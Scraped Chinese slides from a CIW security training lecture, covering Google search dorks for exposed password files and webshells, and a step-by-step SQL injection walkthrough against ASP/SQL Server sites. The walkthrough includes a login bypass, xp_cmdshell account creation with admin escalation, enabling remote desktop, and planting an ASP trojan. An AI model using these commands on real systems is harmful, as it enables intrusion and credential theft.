下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、CIW网络安全认证培训,第六讲google hacking、SQL 注入,学习目标,Google hacking SQL 注入,Google hacking,对于Google,有很多东西是一般用户所不了解的。看起来简单、明了的 Google界面掩饰了它下面深藏的Google索引、引擎的源动力和搜索语法的灵活性 站内搜索地址为: 黑客专用信息和资料搜索地址为: 这里是google关键字的用法,要设置它为中文,则是 英文则是,Google 常用的语法-1,intext:这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含动网
2、的网页.allintext:使用方法和intext类似. intitle:和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含安全天使的网页.同理allintitle:也同intitle类似. cache:搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.,Google 常用的语法-2,define:搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义. filetype:这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指
3、定类型的文件.例如输入:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富:) info: 查找指定站点的一些基本信息.,Google 常用的语法-3,inurl:搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接: link:例如搜索:link:可以返回所有和做了链接的URL. site:这个也很有用,例如:site:.将返回所有和这个站有关的URL.,操作符,操作符也是很有用的:+ 把google可能忽略的字列如查询范围 - 把某个字忽略 同意词. 单一的通
4、配符* 通配符,可代表多个字母“ “ 精确查询,Google搜索高级技巧 ,Google敏感信息,intitle:index of etc intitle:Index of .sh_historyintitle:Index of .bash_historyintitle:index of passwdintitle:index of people.lstintitle:index of pwd.dbintitle:index of etc/shadowintitle:index of spwdintitle:index of master.passwdintitle:index of htpa
5、sswd# -FrontPage- inurl:service.pwd,查找别人留下的Webshell,inurl:diy.asp inurl:wei.asp inurl:2006.asp(海洋2006)inurl:lcx.aspinurl:newasp.aspinurl:LP.asp 搜索 关键词“绝对的路径、输入保存的路径、输入文件的内容”,搜索引擎(续),Google 桌面搜索工具 ,其他的国外搜索引擎(特点是强大的多媒体资料搜索),搜索引擎(续), 特色:强大的中文搜索,网页快照,文件搜索 IP 地址查询搜索 注册码搜索大全 ,实验6-1,Google scanner谷歌扫描器 挖掘鸡
6、 Google 桌面,SQL注入攻击,对SQL注入攻击来说,其服务器本身来说没有什么漏洞,主要是一些恶意的用户利用SQL语法的特点,针对的是应用程序开发者编程过程中的漏洞而进行的一种攻击。 由于SQL注入攻击利用的是SQL语法,使得这种攻击具有广泛性 。 常规注入方法: SQL注入攻击本身就是一个常规性的攻击,它可以允许一些不法用户检索你的数据,改变服务器的设置,或者在你不小心的时候黑掉你的服务器。 旁注 顾名思义就是从旁注入,也就是利用主机上面的一个虚拟站点进行渗透 ,此类手法多出现与虚拟主机站点。 盲注通过构造特殊的SQL语句,在没有返回错误信息的情况下进行注入。,SQL注入漏洞的风险,由
7、于SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报, 它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。 黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。 无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循安全代码进行开发,攻击者将通过80端口进入你的系统。,SQL注入,出现背景 防护手段趋于完善 Web应用越来越复杂,开发方式与数据库结合 学习相对缓冲区溢出简单(汇编,操
8、作系统结构,系统平台),SQL Injection的概念,来自于用户的输入web应用程序没有对其进行检查,导致对数据库进行操作的语句直接按照攻击者的意愿执行。 web程序的编程语言的无关性、多于数据库自身的特性有关 Perl and CGI scripts that access databases ASP, JSP, PHP XML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs DB specific Web-based applications and APIs Reports and DB Ap
9、plications 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL) 大量的可以利用数据库:几乎所有的关系数据库系统和相应的SQL语言都面临SQL注入的潜在威胁 MS SQL Server, Oracle, MySQL, DB2, MS Access, Sybase, Informix, etc,SQL Injection Attack,SQL注入攻击就其本质而言,利用的工具是SQL的语法,针对的是应用程序开设计中的漏洞。“当攻击者能够操作数据,往应用程序中插入一些SQL语句时,SQL注入攻击就发生了”。 攻击目标:控制服务器/获取敏感
10、数据,简单的登陆验证绕过,针对asp+sql server的基本注入,自动化注入攻击工具的出现 更多的后台数据库操作研究,Php/JSP注入技术 高级注入攻击技术,了解SQL,常用的SQL语句 Select、Create、Alter、Insert、Delete、Update、Excute. where、having等子句 存储过程 是一组为了完成特定功能的SQL 语句集,经编译后存储在数据库中,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它 sp_addrule、sp_adduser、sp_adduserlogin、sp_password、xp_cmdshell.,SQ
11、L注入攻击的总体思路,发现SQL注入位置; 判断后台数据库类型; 确定XP_CMDSHELL可执行情况 发现WEB虚拟目录 上传ASP木马; 得到管理员权限;,一、发现SQL注入位置3-1,SQL注入一般存在于形如: 等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Intern
12、et选项高级显示友好HTTP错误信息前面的勾去掉。,一、发现SQL注入位置3-2,1、整型参数的判断当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。HTTP:/xxx.xxx.xxx/abc.asp?p=YY(附加一个单引号),此时abc.ASP中的SQL语句变成了select * from 表名 where 字段=YY,abc.asp运行异常;HTTP:/xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP:/xxx.
13、xxx.xxx/abc.asp?p=YY运行结果相同;HTTP:/xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。,一、发现SQL注入位置3-3,2、字符串型参数的判断 方法与数值型参数判断方法基本相同 当输入的参数xx为字符串时,通常news.asp中SQL语句原貌大致如下: select * from 表名 where 字段=xx,所以可以用以下步骤测试SQL注入是否存在。 HTTP:/ select * from 表名 where 字段=xx,news.asp运行异常 HTTP:/
14、and 1=2, news.asp运行异常 如果以上满足,则news.asp存在SQL注入漏洞,反之则不能注入,一、发现SQL注入位置3-4,3、特殊情况的处理 有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。 大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等 UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20
15、等URLEncode信息参见附件一 ASCII码法:可以把输入的部分或全部字符全部 出了上述方法以外,还有个更简单的方法就是使用现成的工具像NB联盟的NBSI就是一款很不错的工具,二、区分数据库服务器类型,利用系统表 ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句: HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)0 HTTP:/xxx.xxx.xxx/abc.asp?p=YY an
16、d (select count(*) from msysobjects)0 若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。,三确定XP_CMDSHELL可执行情况2-1,若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省 1、HTTP:/ and user0 news.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。 2、HTTP:/
17、 and db_name()0 news.asp执行异常但可以得到当前连接的数据库名。,三确定XP_CMDSHELL可执行情况2-2,3、HTTP:/ exec master.xp_cmdshell net user aaa bbb /add - (master是SQL-SERVER的主数据库名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。 4、HTTP:/ exec master.xp_cmdshell net localgroup administrators a
18、aa /add - 把刚刚增加的帐户aaa加到administrators组中。 5、通过wmic 开远程 HTTP:/ execute master.dbo.xp_cmdshell wmic /node:localhost RDTOGGLE WHERE AllowTSConnections=0 CALL SetAllowTSConnections 1,四、发现WEB虚拟目录2-1,只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。 一是根据经验猜解,一般来说,WEB虚拟目录是:c:inetpubwwwroot; D:inetpubwwwroot;
19、 E:inetpubwwwroot等,而可执行虚拟目录是: c:inetpubscripts; D:inetpubscripts; E:inetpubscripts等。 二是遍历系统的目录结构,分析结果并发现WEB虚拟目录 先创建一个临时表:temp HTTP:/ table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255);-,四、发现WEB虚拟目录2-2,1 我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中: HTTP:/ temp exec m
20、aster.dbo.xp_availablemedia;- 我们可以通过查询temp的内容来获得驱动器列表及相关信息 2 我们可以利用xp_subdirs获得子目录列表,并存入temp表中: HTTP:/ into temp(id) exec master.dbo.xp_subdirs c:;- 3 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并存入temp表中: HTTP:/ into temp(id,num1) exec master.dbo.xp_dirtree c:;- 这样就可以成功的浏览到所有的目录(文件夹)列表:,五、上传ASP木马,所谓ASP木马,就是一段有特
21、殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:1、利用WEB的远程管理功能许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。,五、上传ASP木马,A、 注入法: 从理论上说,认证网页中会有型如: select * from admin w
22、here username=XXX and password=YYY 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。 如在用户名文本框内输入:abc or 1=1- 在密码框内输入:123 则SQL语句变成: select * from admin where username=abc or 1=1 and password=123 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。 B、猜解法: 基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容
23、。,五、上传ASP木马,2、利用表内容导成文件功能SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。命令行格式如下:bcp select * from text.foo queryout c:inetpubwwwrootruncommand.asp c S localhost U sa P foobar (S参数为执行查询的服务器,U参数为用户名,P参数为密码,最终上传了一个runcommand.asp的木马),六、得到系统的管理员权限,ASP木马只有USER权限,要
24、想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种: 上传木马,修改开机自动运行的.ini文件(它一重启,便死定了); 复制CMD.exe到scripts,人为制造UNICODE漏洞 下载SAM文件,破解并获取OS的所有用户名密码;等等,视系统的具体情况而定,可以采取不同的方法。,表名猜解,将查询条件替换成SQL语句,猜解表名,例如: ID=49 And (Select Count(*) from Admin)=0 如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。 表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。 表名起得很复杂没规律的,是无法猜测的,不过对SQLServer的库有其他方式(后面说明) 这里有一些偶然的成分,但是大多数开发者会使用一些固定的表名,猜测字段的数值,在表名和列名猜解成功后,使用SQL语句,得出字段的值, 最常用的方法Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。 举个例子,已知表Admin中存在username字段 首先,我们取第一条记录,测
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 山东省菏泽郓城县联考2026届初三第一次联考试卷(英语试题理)试题含解析
- 重庆市重庆一中2026年初三下学期二调考试-英语试题含解析
- 浙江省玉环市第一期重点名校2026届初三第五次考试化学试题含解析
- 湖南长郡教育集团重点中学2026年初三第二轮复习测试卷英语试题含解析
- 四川渠县联考2026年初三适应性考试(二)语文试题含解析
- 河南省郑州市巩义市重点中学2026届高中毕业生复习统一检测试题英语试题试卷含解析
- (正式版)DB37∕T 1515-2010 《无公害食品 露地西瓜生产技术规程》
- (正式版)DB37∕T 1583-2010 《黄河口大闸蟹苗种生产技术规程》
- 肝硬化失代偿期合并感染病例护理分享
- 投标文件作为合同
- DB3303T 031-2021 民营经济健康发展评价指标体系
- 公司重点工作管理办法
- 23J916-1 住宅排气道(一)
- DZT 0288-2015 区域地下水污染调查评价规范
- 企业供应商风险管理体系建设实施方案
- 房屋市政工程生产安全重大事故隐患排查记录表(模板)
- JT-T-435-2000钢筋混凝土结构节点和图例
- 智慧高速无人机巡检
- KMV信用风险模型简介
- 2023年江苏省中学生生物奥林匹克竞赛试题及答案
- 育儿嫂培训课件
评论
0/150
提交评论